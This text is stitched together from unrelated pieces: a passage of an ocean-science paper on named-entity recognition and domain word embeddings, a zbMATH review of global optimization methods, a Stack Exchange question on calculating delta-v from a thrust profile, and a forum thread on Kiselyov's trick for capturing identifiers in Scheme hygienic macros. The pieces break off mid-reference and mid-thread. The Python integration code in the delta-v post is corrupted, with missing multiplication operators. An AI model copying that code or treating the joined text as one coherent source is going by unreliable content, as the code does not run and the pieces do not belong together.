be used to enrich automated data integration tasks such as schema matching and mapping. The classes a NER is seeking in the text can vary based on the requirement of a specific assignment. The most widely used classes are person, location, organization, and date (Jiang et al., 2016). For instance, a NER system trained to detect person, location, and organization when receiving the following text as input: “John Doe lives in New York City and works in the New York stock exchange,” should identify the following named entities as output, where the named entity is denoted between brackets and the class between parentheses. [John Doe] (person) lives in [New York City] (location) and works in the [New York stock exchange] (organization). An ocean science DI application would need to identify entities such as a measured variable (temperature, salinity), units (degrees, dbar), and devices (CTD, sonar, plankton counters). ### 4.2. Datasets #### 4.2.1. An oceanic science entity extraction dataset To the best of our knowledge, no gold-standard annotated documents are freely available for the oceanic domain. Therefore, we created a small dataset to provide initial support to our claim for the need for an extensive standard to train and evaluate tools against. We retrieved 30 documents containing data descriptions from three data repositories: PANGEA (2020), BCO-DMO (Biological and Chemical Oceanography Data Management Office, 2020), and the European directory of marine environmental data (EDMED, 2020). Each token (usually a single word) was annotated in the IOB2 format using a standard NER annotation tool named TALEN (Mayhew and Roth, 2018). The IOB2 format is a tagging format designed for the NER task. The B- prefix before a class name is used to indicate that the token is at the beginning of a chunk, the I- prefix before a class indicates that the token is inside a chunk, while O represents a token that is not inside of any chunk. Figure 5 shows an example of the IOB2 format used to annotate a data description document retrieved from EDMED. Our test data contain 1,256 sentences and 7,848 total tokens with an average of 262 tokens per document. We found 2,193 entities divided into 11 classes averaging 75.6 entities per document with an average length of 2.17 tokens per entity. The dataset is available online (Bar, 2020a). Figure 5 An example of the IOB2 annotation. In this figure the IOB2 annotation is used to identify a GeoRegion within a data description document retrieved from EDMED. Tokens marked with an O are not part of any entity. The token marked with B-GeoRegion begins the entity. The rest of the entity’s tokens are marked with I-GeoRegion. DOI: https://doi.org/10.1525/elementa.418.f5 #### 4.2.2. An oceanographic text dataset Word embeddings are created using a large text corpus. To test the hypothesis that specific word embedding could improve NER algorithms on the task of identifying oceanic entities in texts, we trained custom word vectors. Our training method is constructed based on the following steps. (a) Collect a large set of oceanographic papers. (b) Extract raw text from the collected oceanographic papers. (c) Train word embeddings based on the text corpus. Due to overlapping terms from the oceanic domain in other closely related scientific domains such as earth science or biomedical science, we collected papers that were published in known oceanographic journals. We used the Crossref API (Lammey, 2015) to search for the DOIs of papers that appeared in oceanographic journals, such as Ocean Science, Frontiers in Marine Science, and Aquatic Biology. After acquiring the relevant DOIs, we implemented a web crawler that searched for the full-text PDF version of the papers in several public repositories. The crawler mined 30,000 oceanic papers. We used the Science Parse (Clark and Divvala, 2015) open-source Java library to extract data from the papers. We extracted the title, abstract, and content section parts of the documents (references were excluded) into a JSON format. The raw text from the JSON file contained over 175 million tokens. This dataset is available online as well (Bar, 2020b). ### 4.3. Methods The NER algorithm is a supervised ML model that is trained on annotated documents to recognize patterns identifying a token or set of tokens as a named entity and to which class it most likely belongs. For example, after seeing a large number of documents where the tokens next to the word lives describe a person (e.g., John Doe lives in), the ML model learns to classify these tokens as people. Using word embeddings to represent the documents on which the algorithm trains allows it to generalize its learned model so that similar words such as resides and works would be recognized as well. Furthermore, the token John itself is embedded into the vector space such that other people’s names will be situated close to it. As described in Section 2, generating word embeddings is an unsupervised ML technique based on the co-occurrence of words in a very large text corpus. In this evaluation, we use the Flair NER algorithm (Akbik et al., 2018), which is based on a word embedding technique as well. Unlike other models, the model employs character level tokenization rather than word-level tokenization. A sentence is converted to a sequence of characters, and through a language model, the algorithm learns the word representation. Flair uses a stacked embedding approach. The algorithm’s character language model vector is concatenated with GloVe’s word embeddings (Pennington et al., 2014) to form the final word vectors, thus leading to a better result. Flair produced state-of-the-art F1-scores on the CoNLL-03 general-purpose dataset collected from newspaper articles (Sang and De Meulder, 2003). To adapt Flair and its NER algorithm to the oceanic domain, one can both retrain it (using supervised ML) on the classes of this domain and fine-tune the underlying word embeddings (using unsupervised ML) to reflect semantic relations in this domain better. In the following, we demonstrate both improvements. #### 4.3.1. Improving the Flair NER by retraining on an ocean science tagged dataset Training was performed on a Gigabyte Technology server with an Intel i7-7700 8 core CPU, 64GB RAM, and Gigabyte GTX 1070 GPU running the Ubuntu 16.04.6 operating system. The empirical evaluation was performed using Flair version 0.4.1 (Zalando Research, 2019) running on python version 3.6.8, deployed as part of the Anaconda data science platform (Anaconda, 2020). We split our annotated dataset randomly into a training set comprised of 80% of the documents and a test set comprised of the remaining 20%. We then proceeded to train the Flair algorithm on the training set and test both the original Flair NER model and our retrained one on the test set. #### 4.3.2. Creating ocean science word embeddings We utilized the oceanographic text corpus for training two new word embeddings. Word2Vec (Mikolov et al., 2013) with word-level embeddings and Flair’s character-based forward and backwards embeddings (from now on, CBFB). The word-level embeddings were implemented using the Gensim Python library (Řehůřek and Sojka, 2010) and the CBFB embeddings with Flair. One of the known connections in oceanographic research is between a measured variable and its measured units. Although often a variable can be measured using different units, some notations are very common in the scientific literature. Similar to the King-Queen relationship stated by Mikolov et al. (2013) on general-purpose text, the oceanographic trained models were able to conclude the relationships in Figure 6. Recall that in general text, the vector representation of the word king was found to relate to the vector representing queen in the same manner as the vector man relates to the vector representing woman. After reviewing the ocean science research papers, the unsupervised algorithm, with no input from a domain expert, created an embedding model where, e.g., m/s relates to speed in the same manner that PSU (practical salinity units) relates to salinity. Note, that the fact that PSU has since been retired is unknown to the embedding algorithm, as it was trained on papers using this unit. Rather, this domain knowledge should be coded into an ontology to ensure that data from papers using PSU, can be handled appropriately when integrated with more modern datasets. Figure 6 Variable-unit analogies. The figure shows semantic relations between oceanic variables and their associated units, as found by the word embedding algorithm, with no intervention of a domain expert. Note that although salinity is a unitless variable, it was associated with PSU (practical salinity units) by the unsupervised algorithm. The relations can be read as follows: “temperature relates to degrees as salinity relates to PSU”. DOI: https://doi.org/10.1525/elementa.418.f6 We trained the Flair algorithm with the same 80%–20% train-test split to detect data descriptions from unstructured data, where the word embeddings served as features for the NER algorithm. We ran the following stacked embeddings models: (a) GloVe and Flair embeddings trained on a general-purpose text that served as a baseline; (b) Word2Vec oceanographic model; (c) Flair’s CBFB embeddings trained on an oceanographic corpus; (d) stacked embeddings model that was compiled of (b) (c) embeddings; and finally (e) stacked embeddings model of (a) (b) (c). ### 4.4. Evaluation measures Several evaluation metrics have been offered to assess the efficacy of a NER system, where the most commonly used are based on the exact-match evaluation. A named entity that has been proposed by a NER system is considered correct only if there is an exact match of both entity boundaries and class (i.e., all tokens that should belong to the entity are correctly marked and assigned). However, the ML model we use in the first evaluation was not designed to detect ocean science classes (e.g., measure variable). As a result, we seek an exact boundary match with no consideration of the entity type. For example, if the NER system can detect the ‘Mediterranean Sea’ as a named entity, it will be considered a match regardless of the class (location in this example). If for the same sentence, the system will only detect ‘sea’ as a named entity, it will be considered a false match. In the second evaluation, we train all models to detect the specific class as well as extract the named entity and therefore seek an exact match of both boundary and entity type. The measures precision, recall, and F1-score are arguably the most commonly used to aggregate and quantify the number of exact matches detected by a NER system. Precision is the fraction of true instances of the total number of instances predicted by the NER system as positive, while recall is the fraction of true instances predicted by the NER system of the total true instances in the dataset. F1-score is the harmonic mean of precision and recall. Their formal definitions are as follows. Definition 1 (NER evaluation measures) Let predicted positive (PP) be the set of named entities predicted as such by a NER algorithm. Let actual positive (AP) be the set of named entities that actually exist in the task. Let true positive (TP) be the intersection between these sets, i.e., those named entities that both exist in the task and were predicted by the NER algorithm, then Precision, Recall, and F1-score are defined as follows. $\mathit{\text{Precision}}=\frac{\mathit{\text{TP}}}{\mathit{\text{PP}}}$ (1) $\mathit{\text{Recall}}=\frac{\mathit{\text{TP}}}{\mathit{\text{AP}}}$ (2) $F1=2\frac{\mathit{\text{Precision}}\mathit{\text{Recall}}}{\mathit{\text{Precision}}+\mathit{\text{Recall}}}$ (3) ### 4.5. Results The result of the first evaluation can be seen in Table 4. The F1 score of the original flair model on oceanic data is only 0.068. Training the same flair model on an oceanic dataset results in an F1 score of 0.738. The results of the second evaluation can be seen in Table 5. The best model was the stacked embeddings model that reached an F1 score of 0.679 on unstructured metadata. We remind the reader that in the first task, we require only a boundary match, while in the second, we require both boundary and class to be correct, making it substantially more difficult. Table 4 Performance of data description extraction using embeddings trained on general versus ocean science text. DOI: https://doi.org/10.1525/elementa.418.t4 Measurementa Flair NER using news-trained embeddings Flair NER using ocean-science-trained embeddings Precision 0.221 0.746 Recall 0.040 0.731 F1 score 0.068 0.738 a In this task, a true positive result entails identifying a named entity regardless of its class. Table 5 Comparative performance of Flair NER using oceanic word embeddings as features. DOI: https://doi.org/10.1525/elementa.418.t5 Embeddings method Pa R F1 Flair + GloVe (General-purpose) 0.547 0.335 0.415 Oceanic Word2Vec 0.659 0.541 0.594 Oceanic CBFB 0.705 0.648 0.676 Oceanic Word2Vec + Oceanic CBFB 0.705 0.604 0.650 Flair + GloVe (General-purpose) + Oceanic Word2Vec + Oceanic CBFB 0.713 0.649 0.679 a In this task, a true positive result is one where the algorithm correctly identifies the named entity and assigns the correct class. ### 4.6. Discussion The unmodified Flair model used in this evaluation scored a 0.932 F1 score on newswire text (Akbik et al., 2018). The same algorithm fails miserably on our task. The results of the retrained model can be considered as an immense improvement but still far from state-of-the-art results achieved on NER tasks in other domains. This result is expected due to the small number of training examples available to the supervised training algorithm. The result also highlights the need for an extensive, well defined, annotated dataset to train ML models over oceanic sciences tasks. Furthermore, the classes used to extract information should be carefully aligned with ocean science domain ontologies if they are to be used in conjunction with schema matching tools. The oceanic embeddings allow Flair to boost its results on the harder boundary+class task from an F-1 of 0.415 to 0.679 for the best model. Here, too, a much more substantial increase is expected should we increase the amount of training data. Alternatively, we could use transfer learning from models trained on related datasets, such as scientific papers in general. Although 175 million tokens may sound impressive, the standard GloVe vectors used in general-purpose tasks are trained over 6 to 840 billion tokens (see Pennington et al., 2020, for examples). ## 5. Conclusions and future work The study of the oceans relies on the extensive collection of physical, chemical, and biological data from various locations around the globe. Over the last century, numerous measurements have been performed continuously, resulting in the creation of an increasingly large amount of oceanic data. One of the significant challenges facing the ocean science community is to integrate this vast amount of data in a way that will facilitate its translation into improved understanding of oceanic processes. Addressing this challenge relies strongly on the implementation of AI technologies, which now, in the era of Big Data, are ubiquitously applied across scientific domains and disciplines. In this paper, we have deconstructed the process of oceanic science DI and pointed to the key missing tools and underutilized information sources currently limiting its automation. We have focused on semantic AI technologies aiding the matching and mapping phases of the DI process, limiting our discussion of data fusion and data cleansing techniques, which we intend to address in future work. The potential of implementing AI technologies to advance oceanic research calls for close collaboration between ocean and data scientists. Importantly, such collaboration should promote the formation of dedicated infrastructures to support AI efforts in ocean science, focusing on several activities that address major limitations in the current state of ocean data integration (Table 3): • Develop AI-based tools for assisting ocean scientists in aligning their schema with existing ontologies when organizing their measurements in datasets. • Extend and refine conceptual coverage of – and conceptual alignment between – existing ontologies, such that they are more compatible with the diverse and multidisciplinary nature of ocean science. • Create ocean-science-specific schema matching and mapping benchmarks to accelerate the development of matching and mapping tools utilizing semantics encoded in existing vocabularies and ontologies. • Similarly support the development of ocean-science-specific entity resolution tools by creating annotated datasets and benchmarks on both the dataset and data point level. • Annotate datasets, and develop tools and benchmarks for the extraction and categorization of data quality and preprocessing descriptions from scientific text. • Create large-scale word embeddings trained upon ocean science literature to accelerate the development of AI-based information extraction, entity resolution, and matching tools. Formation of improved AI integration infrastructure based on these suggested activities will contribute importantly to our ability to share, explore, and interpret the vast amount of available oceanic data, thus substantially advancing ocean research. ## Competing interests The authors have no competing interests to declare. ## Author contributions T.S. Led sections 2 and 3, Y.L. led sections 1 and 5, and K.B. led section 4. The deconstruction of a DI process in ocean science as portrayed in Figure 4 was performed jointly by T.S. and Y.L. ## References 1. Abedjan, Z, Chu, X, Deng, D, Fernandez, RC, Ilyas, IF, Ouzzani, M, Papotti, P, Stonebraker, M and Tang, N. 2016. Detecting Data Errors: Where are we and what needs to be done? PVLDB 9(12): 993–1004. DOI: 10.14778/2994509.2994518 2. Akbik, A, Blythe, D and Vollgraf, R. 2018. Contextual String Embeddings for Sequence Labeling. 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# zbMATH — the first resource for mathematics ##### Examples Geometry Search for the term Geometry in any field. Queries are case-independent. Funct* Wildcard queries are specified by * (e.g. functions, functorial, etc.). Otherwise the search is exact. "Topological group" Phrases (multi-words) should be set in "straight quotation marks". au: Bourbaki & ti: Algebra Search for author and title. The and-operator & is default and can be omitted. Chebyshev \| Tschebyscheff The or-operator \| allows to search for Chebyshev or Tschebyscheff. "Quasi* map" py: 1989 The resulting documents have publication year 1989. so: Eur J* Mat* Soc* cc: 14 Search for publications in a particular source with a Mathematics Subject Classification code (cc) in 14. "Partial diff* eq" ! elliptic The not-operator ! eliminates all results containing the word elliptic. dt: b & au: Hilbert The document type is set to books; alternatively: j for journal articles, a for book articles. py: 2000-2015 cc: (94A \| 11T) Number ranges are accepted. Terms can be grouped within (parentheses). la: chinese Find documents in a given language. ISO 639-1 language codes can also be used. ##### Operators a & b logic and a \| b logic or !ab logic not abc right wildcard "ab c" phrase (ab c) parentheses ##### Fields any anywhere an internal document identifier au author, editor ai internal author identifier ti title la language so source ab review, abstract py publication year rv reviewer cc MSC code ut uncontrolled term dt document type (j: journal article; b: book; a: book article) Global optimization in biology and medicine. (English) Zbl 0808.92001 Global optimization techniques are fundamental for solving identification problems coming from modelling. They also play a great role for optimizing biological processes. But it is also possible to solve functional equations (partial differential, integral, etc.) by using a minimization technique with an error functional defined from experimental data and functional equations. It suffices to express the solution under a mathematical expression (polynomial or exponential development, spline approximation, etc.) and to identify the unknown parameters in the mathematical definition by minimizing the error functional. Thus, global optimization techniques are very precious and important in numerical mathematics. We proposed two kinds of methods (deterministic and stochastic) for solving global optimization problems. For the deterministic case, we presented three techniques: -- the first is to choose an approximation equal to the sum of functions depending only on a single variable. The minimization problem is brought back to the minimization of functions depending on a single variable; -- the second technique adds new variables and permits us to solve an optimization problem by solving a sequence of linear problems; -- the third method, called Alienor, is based on a reducing transformation allowing the approximation of $n$ variables by a single one. A minimization problem according to $n$ variables becomes an approximated minimization problem depending on one variable. For the stochastic case, we developed Monte Carlo methods. Two techniques were presented: the simulated annealing method; and the Bremermann method [{\it H. Bremermann}, Math. Biosci. 9, 1-15 (1970; Zbl 0212.512)]. Then, applications to identification problems and to process optimization were given. We tried to compare the complexity (calculations times) involved by these methods. ##### MSC: 92B05 General biology and biomathematics 65K10 Optimization techniques (numerical methods) 93B30 System identification 49N70 Differential games in calculus of variations 49N75 Pursuit and evasion games in calculus of variations Full Text: ##### References: [1] Cherruault, Y.: Biomathématiques. Que sais-je? (1983) [2] Kolmogorov, A. N.: On the representation of continuous functions of several variables by superpositions of continuous functions of one variable and addition. Dokl. akad. Nauk. 114, 679-681 (1957) · Zbl 0090.27103 [3] Vaĭndiner, A. L.: Approximation of continuous and differentiable functions of several variables by generalized polynomials (Finite linear combinations of functions of fewer variables). Dokl. akad. Nauk 192, No. 3, 648-652 (1970) · Zbl 0215.46501 [4] Cherruault, Y.: A new method for global optimization. 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# How much delta-v have I used here? What's the “official” equation for delta-v from parametric thrust? I took a break from Stack Exchange, jumped in my spacecar and flew the following squiggle: $$a_x = \cos(10 \ t)$$ $$a_y = \sin(5 \ t)$$ $$a_z = \cos(2 \ t)$$ starting at xyz = [-0.01, 0, -0.05] and v_xyz = [0, -0.2, 0] with a total flight time of $$2 \pi$$. When I got home I was told "Oh that was a lovely lissajous squiggle, but how much delta-v did you put on the car?" I said "Oh, not much" and made a beeline to my computer to get back on Stack Exchange. Question: How much delta-v DID I use? 1. If I have an acceleration vector (same as thrust vector; lets assume mass doesn't change) as a function of time $$\mathbf{F}(t)$$ what is the general integral expression for total delta-v should I use? 2. If someone looked up my trip in Horizons and got my state vectors $$\mathbf{x}(t)$$ and $$\mathbf{v}(t)$$ and had a numerical integrator and interpolator, what is the general integral expression for total delta-v should they use? 3D plot of position (returns to origin) and plots of velocity components import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.integrate import odeint as ODEint def deriv(X, t): x, v = X.reshape(2, -1) ax = np.cos(10t) ay = np.sin(5t) az = np.cos(2* t) return np.hstack((v, [ax, ay, az])) times = np.linspace(0, 2np.pi, 1001) X0 = np.hstack(([-0.01, 0, -0.05], [0, -0.2, 0])) answer, info = ODEint(deriv, X0, times, full_output=True) xyz, vxyz = answer.T.reshape(2, 3, -1) fig = plt.figure() ax = fig.add_subplot(1, 1, 1, projection='3d', proj_type = 'ortho') x, y, z = xyz ax.plot(x, y, z) ax.plot(x[:1], y[:1], z[:1], 'ok') ax.plot(x[-1:], y[-1:], z[-1:], 'or') plt.show() for thing in vxyz: plt.plot(thing) plt.show() • This feels more like code golf than a genuine space question... at best it's a math question about basic calculus. Either way, I don't think it's a good fit here. This is written like a homework assignment. This is Q&A, not Mechanical Turk. – J... Oct 19 '20 at 14:30 • @J... as far as I know the concept of "delta-v" is specific to spaceflight. If you can show otherwise I would be happy to find out. – uhoh Oct 19 '20 at 14:35 • That's not the point. – J... Oct 19 '20 at 14:40 • That's exactly the point. "is written like a homework assignment" just means that it is stylized. After writing over 2001 questions here you have to mix it up a bit to stay fresh :-) – uhoh Oct 19 '20 at 14:43 • @J... When a question is too big or complicatged to fit into one SE question post, we break it up into smaller answerable pieces. I'm currently still uncomfortable with this hand-waving answer using an unexplained and unsourced equation, so I first asked this question so that the equation could have a foundation. Next I made this plot In order to start thinking about extracting post-launch delta-v for deep space spacecraft using its state vectors. – uhoh Oct 19 '20 at 14:52 As $$\Delta v$$ is just change in velocity, we can just integrate the norm of the acceleration function over time: $$\Delta v = \int\|\mathbf{a}(t)\| dt$$ You're out of luck getting a closed form of that integral though. As far as analytical solutions goes, we can note that at $$t = \frac{\pi}{2}$$, all of $$a_x$$, $$a_y$$ and $$a_z$$ are maxed out, and hence $$\Delta v < 2\pi\sqrt{3}$$. Similarly, the acceleration at all times is going to be greater than or equal to one of the components, and since they are trigonometric functions, their integrals are trivial. $$4 < \Delta v < 2\pi\sqrt{3}$$ I can't see that there's much more to it from here than just putting the acceleration function into a numerical integrator. It's a smooth curve, so they are good at this. Integral(sqrt(cos(10x)^2 + sin(5x)^2 + cos(2x)^2),0,2*pi) -> 7.5279 Or, by the definition of acceleration, if what you have is velocity data: $$\Delta v = \int\left\|\frac{d\mathbf{v}}{dt}\right\| dt$$ Which if you have tabular data and don't bother with interpolation, is simply: $$\Delta v =\sum \|d\mathbf{v}\|$$ Which is just summing up all the velocity differences between the discrete data points. • Great answer. The analytic solution of the line integral seems to be an elliptic integral, is that right? – 0xDBFB7 Oct 24 '20 at 14:37	{}
## How to Write Seemingly Unhygienic and Referentially Opaque Macros with Syntax-rules How to Write Seemingly Unhygienic and Referentially Opaque Macros with Syntax-rules By Oleg Kiselyov This paper details how folklore notions of hygiene and referential transparency of R5RS macros are defeated by a systematic attack. We demonstrate syntax-rules that seem to capture user identifiers and allow their own identifiers to be captured by the closest lexical bindings. In other words, we have written R5RS macros that accomplish what commonly believed to be impossible. ## Comment viewing options ### Trying to figure this out I'd been thinking I should grok the essence of what this paper is doing before commenting. I think I've got it now. Not finding the paper itself helpful, I tried to find the Petrofsky material cited as the starting point. That's posts from 2001–2002 on comp.lang.scheme (quite a blast from the past); here are links to what I (eventually) found in google's archives, of which the November 2001 was most helpful to me (I hunted down the other two mainly because it seemed advisable to be thorough while about the business). (The Kiselyov paper attributes the posts it's interested in to "A. Petrofsky"; in fact, their author apparently signed their usenet posts using something different for the "A" each time.) My understanding of the core trick here (yes, trick; not meant pejoratively): We want to capture occurrences of a symbol in an operand to a Scheme "hygienic" macro. Scheme's hygienic-macro facility is meant to be able to define new binding constructs, such as variants of let; and in order to do that, one has to be able to pass a symbol into the macro and bind that symbol in another operand. This is considered okay, hygiene-wise, because the symbol is specified in the same scope where it is being "captured" (as with let, where the symbols to be bound are passed in to let, and then occurrences of them in the body of the let are bound, also in the dynamic environment of the call to the macro). What you aren't supposed to be able to do, hygienically, is to capture a symbol whose name is determined internally by the macro; as long as the symbol is specified in the dynamic environment where the macro is called, there is, ostensibly, no problem. However, as Petrofsky points out, when we are trying to capture some particular symbol in an operand of a macro, the symbol actually does get passed into the macro: it occurs in the operand where we're trying to capture it. (If it doesn't occur in that operand, we don't need to worry about capturing it there anyway.) "All" we need is to find an example of that symbol in the operand, and use that to specify the binding. The Scheme hygienic-macro facility goes about achieving its hygiene by alpha-renaming symbols in the operand, and so, if we can correctly identify an alpha-renamed occurrence of the correct symbol in the operand, we can then bind that. With some tedious recursion we can search through the structure of the operand looking for such an occurrence; what we need, to make the whole thing work, is a way to determine, in the base case for the recursion, whether or not a particular symbol, extracted from the operand, is an alpha-renamed occurrence of the symbol we want to capture. We do this using a feature of Scheme's syntax-rules. syntax-rules defines all the different patterns by which a macro may be called, and what each one expands to. Before the list of pattern-expansion pairs, is a list of keywords that is usually empty. This is there so that the macro syntax can contain keywords that are required to occur in their literal form. But that means the macro facility has to match an operand against this keyword without alpha-renaming. So, we can set up a subsidiary macro that does a pattern match, requiring its first operand to be the particular symbol we want to capture, taken as a keyword, and accepting its second operand as a symbol being passed in. Whatever particular symbol we have found in the operand, we then pass it to this subsidiary macro twice; the first one gets matched as a keyword, without alpha-renaming, while the second gets alpha-renamed and thus tells the subsidiary macro just what the alpha-renamed identity is that ought to be bound. And the subsidiary macro can then use the alpha-renamed symbol to do whatever effectively-unhygienic thing it was that we set out to do. ### Very nice explainer. Thanks! Very nice explainer. Thanks! ### Thanks for the great explanation Oleg's papers are usually great if you can decrypt them. I skimmed the paper the other day when this was posted and couldn't figure it out, but your explanation is easy to follow. Plus this is further evidence for my claim that macro systems like this that re-evaluate a code block multiple times in different contexts (e.g. once where some symbol is a keyword and another where it isn't) are doing it wrong. But out of curiosity, is there a proposed fix to this state of affairs in scheme? (I guess it also exists in Racket?) ### R6RS and Racket (and Kernel) I find the official documentation on these macro systems very hard to read, too; but don't see any evidence that this anomaly in the behavior of R5RS macro pattern-matching has been changed either in the R6RS or in the definition of Racket. My own approach to syntax extension in Kernel is all about doing things explicitly instead of implicitly. Certainly the Scheme macro-hygiene algorithm is virulently indirect; rampant alpha-renaming is used to create an illusion that macro definitions follow the same lexical-scoping structure as the runtime part of the language, and it seems inevitable that such a complicated illusion would be flawed, so that the complications would leak into the observable language. ### Why not to fix My explanation of Petrofsky, which folks have kindly praised, only mentions alpha-renaming of symbols where the macro is called. I'd wondered whether to mention further complications, but they'd interfere with explaining the trick, and the explanation isn't really "wrong", just leaves out some further complications. But those further complications may help explain why the Scheme folks might be aware of Petrofsky's trick yet still choose not to try to "fix" the hygienic macro facility to prevent it. I do not, atm, know how to explain the whole of the macro-hygiene device so it's easy to understand. I'm not certain it's possible to to do so. Perhaps one should formulate a koan: the macro-hygiene device that can be clearly explained is not the true macro-hygiene device. I did, briefly, understand it myself, during part of the writing of my dissertation; I had undertaken to compare the complexity of different syntax-extension devices for Scheme, by writing a vanilla Scheme evaluator and then adding the different devices to see how much each of them increased the size of the evaluator. (Kernel-style fexprs were far the smallest addition, hygienic macros far the largest.) Even then, though, I left out Scheme's pattern-matching, so still wouldn't have known quite how the hygiene device interacts with the pattern-matching. Basically, the hygienic macro device is awash in alpha-renaming. The sort of alpha-renaming I mentioned above, that gets bypassed by "keyword" pattern-matching, is just part of what's going on. Parameters to a lambda get alpha-renamed in its body. Unbound symbols in a macro get... temporarily (I think)... alpha-renamed during transcription, involving some deep voodoo. The binding of things in syntactic environments is itself rather alpha-renaming-like, and interplays with all of this. With all these things going on, the "keyword" pattern-matching happens at a somewhat different point in the process than the "macro parameter" pattern-matching, and that differential is what makes the Petrofsky device work, but neither one of them is really acting on the raw, unprocessed syntax as typed in by the programmer. In particular, if the macro is trying to capture a symbol whose syntactic binding at the macro definition is different from its syntactic binding at the macro call — I think — the "keyword" pattern-matching will fail to recognize its symbol occurrences in the operand after all, undermining Petrofsky's trick. What all this means, for the prospect of "fixing" the macro facility to disallow Petrofsky's trick, is that it's not easy to say with confidence that there's "really" a dire problem here, and rather mind-bending to try to work out what would be required to "fix" it. So if they really haven't done anything to try to "fix" it, that's likely why not. ### I think the short version of I think the short version of John's (accurate) explanation is that the syntax-rules keyword list is unhygenic. This isn't really "fixable" since that's the intended behavior. The real fix is to think more broadly about what a hygenic macro is, as in Michael Adams' POPL paper. ### Or don't use macros Thanks for the link. That's a nice paper. I still think we'd be better off generalizing syntax beyond macros. Macros can be recovered as syntax objects whose only semantics are macro-free expressions, but syntax objects in general could have all kinds of other semantics. ### Systems with additional Systems with additional semantics (see for example David Fisher's work on Ziggurat) have the same problems of hygiene that macros need. Hygiene is lexical scope for meta-programs, and is needed anywhere metaprogramming occurs. ### lexical scope for meta-programs Hygiene is lexical scope for meta-programs, and is needed anywhere metaprogramming occurs. As a concatenative programming aficionado, I object! No need for lexical scopes or the concept of hygiene if you simply don't use local definition of symbols. But compile-time evaluation, metaprogramming, staging, etc. are still useful. ### Sure, but "lexical scopes Sure, but "lexical scopes for meta-programs" is much easier to understand that what's going on in that paper. Thanks for the link. Ziggurat was posted here a few years ago and I skimmed it a bit at the time. I may take a closer look. ### That paper is about what That paper is about what "lexical scoping for meta-programming" _means_. That the slogan is simpler is unsurprising. ### The paper is about what The paper is about what "lexical scoping for meta-prorgramming" means _in the context of a scheme macro system_. Thinking of syntax extension in terms of "macro expansion" is the source of pretty much all of the complexity. ### Re: Or don't use macros I don't like macros, i think they only exist because the underlying language has weak support for generic programming. Type-classes can be used to write meta-programs as logic (the precise kind of logic depends on instance resolution rules). This makes sense, as programs are proofs, and types are theories, type-classes are proof strategies. ### signs of weakness Fwiw, I agree with part of this. I see macros as a sign of a weak language. My reasoning to get there is kind of different, though. To me, macros are among the simplest of a large class of complicating features that are introduced to augment the power of a core language, but result in an impedance mismatch between the augmentation and the core. I'd expect the impedance mismatch to limit the abstractive radius (per the smoothness conjecture); the way to avoid that limitation is to avoid that augmentation strategy in favor of tinkering directly with the core language. However, I'm inclined to count elaborate static type systems as another example of the non-smooth augmentation strategy. A point I'm working on developing is that programming languages are still written in text because text is closer to the human capacity for language, which is immensely powerful because it's rooted in our sapience, which —when allowed to operate in its own element— can run rings around formal systems (which are limited by Gödel's Theorems; yes, this is subtle stuff). Programming, and in particular abstraction in programming, are limited in comparison to mathematics because while mathematicians engage in dialog with other sapient mathematicians, programmers try to engage in dialog with the non-sapient computer, which does not and cannot work at a sapient level. To achieve the sort of unfettered abstractive power enjoyed by mathematicians, a programming language should minimize/simply dialog with the machine, which (on consideration) is exactly what classic interpreted Lisp does: simple evaluator, simple data structure, absence of complicated types, bignums (no fussing with limits of complicated numeric representations), even garbage collection, all serve to cut down on wrangling with the computer, leaving the programmer free to concentrate on the abstract content. I'm not a big fan of the Curry-Howard correspondence. I see it as a red herring. Formal reasoning is ultimately incapable of providing high-level insight; that's the take-away lesson of Gödel's Theorems; so the more tightly we tether our programming languages to formal reasoning, the more abstractively limited they'll be. Whereas computation itself is open to the full range of insights achievable by sapience, a take-away lesson from the Church-Turing thesis. ### Formal reasoning Vs approximate mathematics. A point I'm working on developing is that programming languages are still written in text because text is closer to the human capacity for language I agree with this point, and I see it as part of the reason that visual programming has never really taken off. I disagree about mathematics, I see the "woolyness" of mathematics as a big problem. Mathematicians assume so much implicit knowledge it is almost impossible to pick a a paper from an unfamiliar branch of mathematics and understand it. It would only take a new dark age of a generation or two to eradicate much modern mathematical knowledge. Ironically earlier works (Euclid etc) are more accessable despite being very old. Then problems we have formalising mathematics probably stem from there being multiple overlapping systems, and mathematicians make category errors slipping from one system to another without realising it, because humans aren't good at the details. As you can guess I disagree with your assessment of formal reasoning. I think formal reasoning tells us a lot about the human mind, and the kind of mistakes human mathematicians make due to "cognitive illusions". I think formal verification of proofs is necessary and that formal reasoning is mathematics, with everything else sort of being an approximation to this. ### Thoughts Alas, my most pertinent thoughts on this, I'm realizing, are contained in unposted drafts that I'm still trying to complete and get out the door onto my blog. Though it's evidently not irrelevant here, I wouldn't try to burden LtU with the high volume of text and relatively low density of pertinence. Hopefully I'll get more of it out the door and remember to note it here. A brief clarification might be useful. I'm not talking about "woolyness"; it's more to do with top-down versus bottom-up view of structures. Here's a way to think of it. You say formal reasoning tells us a lot about the human mind, and the kind of mistakes human mathematicians make I don't disagree with that (as far as it goes). But I would add that Gödel's Theorems can give us insight into formalism, and the kind of mistakes formal reasoning makes. ### Godel isn't just about formal systems If you have a Turing machine that outputs only true sentences, then there will be true sentences it doesn't output, by a variant of Godel. Unless you're expressing a belief that the Church-Turing hypothesis doesn't apply to "sapient" beings. ### depends upon what the meaning of the word 'is' is From context, it sounds as if you're using the term "formal system" more narrowly than I meant it here. For this purpose I would allow a Turing machine as a formal system. If you have a Turing machine that outputs only true sentences, then there will be true sentences it doesn't output, by a variant of Godel. That is the particular variant of Gödel I explored on my blog a while back. ### We're all formal systems If a Turing machine is a formal system, then why aren't we? ### Godel applies or you are wrong The way I read it is that Godel is that the only way for Godel to not apply is if your informal reasoning is so sloppy that it's simply incorrect. Sapient beings can be illogical, irrational, and incorrect, none of these things says anything about mathematics. This is one of the things I think Einstein was implying when he said "As far as the laws of mathematics refer to reality, they are not certain, and as far as they are certain, they do not refer to reality.", Where a certain mathematical law is like a formal system. ### Sigh By trying to say just a little, it seems, I'm leading myself to present incoherently fragmented bits of my currently-most-activley-developing draft blog-post. With limited resources, presumably it'd be a better investment to try to complete that draft than fail to get my point across here. (And yet, it's hard to sit back and watch while folks misunderstand where I'm going with this...) The absence of exceptions to Gödel is what makes it a worthy challenge. Sliding past something that has exceptions isn't nearly as interesting. I've been puzzling over what Gödel implies about the relationship between formal reasoning and truth since I first realized what Gödel was (technically) saying; only within the past week or two have I come to appreciate that the key to this situation is not to let the other team dictate your strategic analysis. So, don't expect formal reasoning to define the realm of alternatives to formal reasoning. ### fragments Fwiw, I've got two drafts in progress, and posted earlier this year on the 